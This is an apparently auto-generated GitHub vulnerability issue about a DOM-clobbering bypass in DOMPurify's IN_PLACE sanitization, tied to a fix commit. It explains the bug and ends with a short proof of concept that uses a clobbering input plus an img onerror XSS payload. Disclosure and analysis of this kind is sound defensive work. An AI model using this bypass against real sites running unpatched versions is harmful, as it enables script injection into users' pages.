Skip to content

[Vulnerability] cure53/DOMPurify: XSS (DOM Clobbering bypass) #183

Description

@github-actions

Potential Security Vulnerability Detected

Repository: cure53/DOMPurify
Commit: 0332fe7
Author: Cure53
Date: 2026-08-03T13:05:43Z

Commit Message

fix: added better handling of clobbering via ownerDocument (#1560)

fix: added betrer handling of stale default configs

Pull Request

PR: #1560 - fix: added better handling of clobbering via ownerDocument
Labels: None

Description:
fix: added better handling of stale default configs

Analysis

Vulnerability Type: XSS (DOM Clobbering bypass)
Severity: High

Description

DOMPurify's _createNodeIterator directly accessed root.ownerDocument without using the cached Node.prototype getter. Since HTMLFormElement has \[LegacyOverrideBuiltIns\], a child element named ownerDocument (e.g., <input name="ownerDocument">) would shadow the real property, causing createNodeIterator.call(<input>, ...) to throw an 'Illegal invocation' error before DOMPurify's fail-closed barrier was established (the iterator construction was outside the try/catch). This meant the IN_PLACE sanitization path could abort mid-walk, leaving the caller's live DOM tree partially sanitized with potentially dangerous nodes intact. The patch caches the Node.prototype.ownerDocument getter and moves _createNodeIterator inside the try block so any failure triggers the fail-closed neutralization.

Affected Code

const _createNodeIterator = function _createNodeIterator(root) {
    return createNodeIterator.call(root.ownerDocument || root, root,
    NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT | NodeFilter.SHOW_TEXT | NodeFilter.SHOW_PROCESSING_INSTRUCTION | NodeFilter.SHOW_CDATA_SECTION, null);
  };

Proof of Concept

// Using DOMPurify with IN_PLACE option on a live DOM node containing a clobbered ownerDocument
const div = document.createElement('div');
div.innerHTML = '<form><input name="ownerDocument"><img src=x onerror=alert(1)></form>';
document.body.appendChild(div);
// Before the patch, this would throw 'Illegal invocation' before the walk starts
// leaving the onerror handler intact in the live DOM
DOMPurify.sanitize(div, { IN_PLACE: true });
// Result: div still contains <img src=x onerror=alert(1)> - XSS survives sanitization

This issue was automatically created by Vulnerability Spoiler Alert.
Detected at: 2026-08-03T13:38:37.964Z

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions